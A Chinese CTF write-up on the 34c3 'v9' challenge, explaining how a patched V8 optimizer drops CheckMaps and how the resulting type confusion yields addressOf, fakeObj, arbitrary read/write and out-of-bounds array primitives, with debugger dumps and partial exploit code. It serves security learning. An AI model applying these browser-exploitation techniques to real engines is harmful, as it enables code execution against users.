34c3 CTF v9题解
环境搭建
patch文件在v9
1 | mkdir v9 && cd v9 |
漏洞分析
补丁如下,在RedundancyElimination::Reduce函数中增加了对于CheckMaps节点的Reduce,调用函数ReduceCheckNode(node)。另一处在函数IsCompatibleCheck中检查第2个参数节点的maps是否包含第1个参数节点的maps,如果存在包含关系则返回true。
1 | diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc |
查看IsCompatibleCheck函数的调用,最终发现存在调用链ReduceCheckNode->EffectPathChecks->IsCompatibleCheck。对于每个参数节点使用LookupCheck函数查看是否有其他的check可以支配node的检查,如果有的话就调用ReplaceWithValue(node, check)将node节点替换为check节点,check节点将作为reduction返回调用函数。
1 | Reduction RedundancyElimination::ReduceCheckNode(Node* node) { |
v8使用类似链表的形式保存所有的check节点(CheckHeapObject、CheckMaps等),Check->next指向下一个Check结构体,Check->node表示检查对应的节点。在LookupCheck函数中遍历所有的check->node,检查有无节点同参数节点node相兼容。如果存在某个check节点,其maps节点被node的节点所包含,则返回true,进而导致node节点被check->node节点所替换
1 | Node* RedundancyElimination::EffectPathChecks::LookupCheck(Node* node) const { |
查看pipeline.cc中调用该节点优化的phase,发现在LoadEliminationPhase和EarlyOptimizationPhase两个阶段中调用了该函数。
因为之前刚调了一个issue能让arr.length = -1,在做这题时开始也想搞到一样的效果,初步想法是将classA包装在一个obj中,初次访问classA后在callback中修改obj的classA为arr,进而修改其length字段的位置为-1。后来试了蛮多代码都没法触发类型混淆,猜测是对象包装对象的话中间的checkMaps比较复杂,不一定能通过patch的代码给消除所有的检查,刚好这次学习也是为了积攒新的漏洞利用的技巧,翻阅了几个师傅的博客后学到了几种不同的利用方式,这里总结一下。
伪造Properties实现任意地址读写
参考de4dcr0w-34c3ctf-chrome-pwn分析
PoC构造
我们可以通过字典对象构造类型混淆,在foo函数中首先访问obj.b,此时有对obj的maps的检查,最后return时我们仍返回此对象,检查的maps依然是对obj做的,因此这里的check在patch后的lookup来看是多余的检查,因而会被消除掉,在回调函数中我们修改obj.b=arr,返回时由于没有类型检查会将对象地址当作浮点数返回,从而leak出任意对象的地址。
1 | function foo(obj,callback){ |
addressOf原语
上面的PoC即可构造出addressOf原语
fake properties
我们首先来看下浮点数对象的内存布局,obj_addr+8存储properties,properties+0x10存储obj.b的对象地址,obj_b_addr+0x8存储obj.b的值。
1 | DebugPrint: 0x3de5a098ccb1: [JS_OBJECT_TYPE] |
通过之前的PoC我们已经能够修改obj.b为其他对象fake_obj,当我们使用obj.b=val赋值时对应到内存区域实际是对fake_obj->properties进行赋值.
构造如下的PoC,覆盖hh.b=victim调试观察
1 | var victim = {inline:42}; |
观察发现victim.offsetx对象的位置均在properties后,假如我们伪造properties为ArrayBuffer_addr,则victim.offset16刚好对应到ArrayBuffer->backing_store的存储位置。
1 | DebugPrint: 0x116f34503bb1: [JS_OBJECT_TYPE] |
如下所示为我们构造出backing_store同offset16位置相同的情形。
1 | //伪造后的dic,0xxx64b1为victim对象地址 |
arbRead/arbWrite原语
在前面伪造properties的基础上,我们修改data_buf->backing_store指向另一个ArrayBuffer,victim.offset16 = view_buf,当我们使用var data_view = new DataView(data_buf);data_view.setFloat64(31,addr,true)时,实际上是对view_buf+0x20处赋值addr,而这个位置恰好对应view_buf->backing_store,因此再调用view_view = new DataView(view_buf);view_view.getFloat64(0,true)时读取的对象为addr处的值。同理也可使用setUint8向该地址处写值。
1 | var data_buf_addr = addressOf(data_buf); |
leak wasm code
我们将wasm_function对象作为一个新的成员加入到data_buf中,再通过任意地址写依次读取data_buf_maps->maps_instance->instance_wasm_function,得到该对象地址后再获取shared_info_addr->code_addr->wasm_code_addr。
1 | function addressOfWasmObj(obj){ |
exp.js
1 | function gc() |
总结
这种攻击技巧利用了字典对象中非数字对象的存储位置,我们并非开始就构造obj={a:1,b:1.2},而是动态添加的方式obj.b=1.337,这使得obj.b第一次在回调函数中被赋值存在类型检查,victim时victim对象地址替代了obj.b的对象地址,第二次obj.b被赋值为fakeProperties时缺失类型检查,obj.b对象依然按照之前的对象存储value的位置进行赋值操作,进而往victim->properties写入了data_buf_addr。
对于victim对象来说其victim.offsetx位置由properties决定,properties+0x20处存储的offset16刚好对应data_buf->backing_store,故可通过修改offset16来修改data_buf->backing_store指向另一个ArrayBuffer,通过指定偏移31又可以修改后者的backing_store,从而实现任意地址读写。
fakeArrayBuffer
leak ArrayBuffer prototype && constructor
1 | var ab_proto_addr = addressOf(ab.__proto__); |
fake ArrayBuffer maps
伪造ArrayBuffer的maps如下,因为fake_map=[a,b,c]的形式下obj_addr和elements_addr地址偏移不固定,所以参考姚老板的trick用字典对象。
1 | var fake_map = {x1:i2f(0xdaba0000daba0000),x2:i2f(0x1900c60f00000a),x3:i2f(0x82003ff),x4:-1.1263976280432204e+129,x5:-1.1263976280432204e+129,x6:0.0}; |
fake ArrayBuffer
伪造backing_store只需修改y5即可
1 | let fake_ab = {y1:i2f(fake_map_elements_addr+0x10+1),y2:i2f(fake_map_elements_addr+0x10+1),y3:i2f(fake_map_elements_addr+0x10+1),y4:i2f(0x40000000000),y5:i2f(fake_map_elements_addr+0x10),y6:i2f(0x4)}; |
fakeObj
在callback中arr[0] = {};让arr[0]变为对象,arr[0] = i2f(addr+1)赋值时缺失类型检查,arr[0]处存放的对象地址被改为addr+1。
1 | arr = [1.1,2.2,3.3]; |
任意地址读写
可以劫持backing_store就可以实现任意地址写
1 | fakeObj(fake_ab_elements_addr+0x10); |
exp.js
1 | function gc() |
shrink Object
内存布局
我们以下面的代码为例调试观察
1 | function gc() { |
obj是一个字典对象,正常是FastProperties,在其obj_addr+0x18处存放字典的in-object属性
1 | DebugPrint: 0x3f088da8cda9: [JS_OBJECT_TYPE] |
然而除了fast-mode外还有一种模式为dictionary-mode,我们执行delete obj['d'];,对象变为了字典模式。当我们使用job观察原来的obj_addr+0x18时显示的是free space, size 40
1 | DebugPrint: 0x3f088da8cda9: [JS_OBJECT_TYPE] |
调用gc函数,obj对象会被放到Old-Space中,原来的obj_addr+0x18处存放了其他移动到这里的对象
1 | DebugPrint: 0x28f16db05b61: [JS_OBJECT_TYPE] in OldSpace |
假如我们可以控制gc后obj_addr+0x18处存放的对象为Array,则可以通过类型混淆后的in-object赋值修改arr的属性,如修改length。
PoC
我们在obj对象后面布置了arr
1 | function foo(obj,callback){ |
在未进行obj.__defineGetter__('xx',()=>2)前,obj_addr+0x18存储着in-object属性
1 | DebugPrint: 0x2b965c4af989: [JS_OBJECT_TYPE] |
在未gc前
1 | DebugPrint: 0x2b965c4af989: [JS_OBJECT_TYPE] |
在gc后,发现成功让arr布置在了obj_addr+0x18处1
2
3
4
5
6
7
8
9
10
11
12
13
14
15gdb-peda$ telescope 0x1fb96c18bcc1-1
0000| 0x1fb96c18bcc0 --> 0x2f7537a08c41 --> 0x300002e8e55a022
0008| 0x1fb96c18bcc8 --> 0x1fb96c18be19 --> 0x2e8e55a026
0016| 0x1fb96c18bcd0 --> 0xaea0a882251 --> 0x2e8e55a022
0024| 0x1fb96c18bcd8 --> 0x2e8e55a02de1 --> 0x2e8e55a022
0032| 0x1fb96c18bce0 --> 0x200000000
0040| 0x1fb96c18bce8 --> 0x3ff199999999999a
0048| 0x1fb96c18bcf0 --> 0x400199999999999a
0056| 0x1fb96c18bcf8 --> 0x2f7537a02841 --> 0x400002e8e55a022
gdb-peda$ job 0x1fb96c18bcd9
0x1fb96c18bcd9: [FixedDoubleArray] in OldSpace
- map = 0x2e8e55a02de1 <Map(HOLEY_DOUBLE_ELEMENTS)>
- length: 2
0: 1.1
1: 2.2
再加一条调试,发现d对应arr.length,修改后即可得到一个oob数组
1 | gdb-peda$ telescope 0x2572fdb0bcf9-1 20 |
漏洞利用
有了OOB数组后面的利用就很常规了,这里就不再赘述了.
利用效果

总结
花了几天时间总结了34c3 CTF v9的几种利用方式,其中第一和第三种方式在debug版本里也可以过,第二种只能在release中用,个人觉得第三种方法是最简单的,第二种是最直观的,第一种方式比较绕,不过很有意思,对于checkMaps消除类型的题目上述几种方法可以作为比较通用的思路。注意这里第二种方式里我们其实已经构造出了fakeObj原语,所以通过之前的利用方式也可以继续往后走。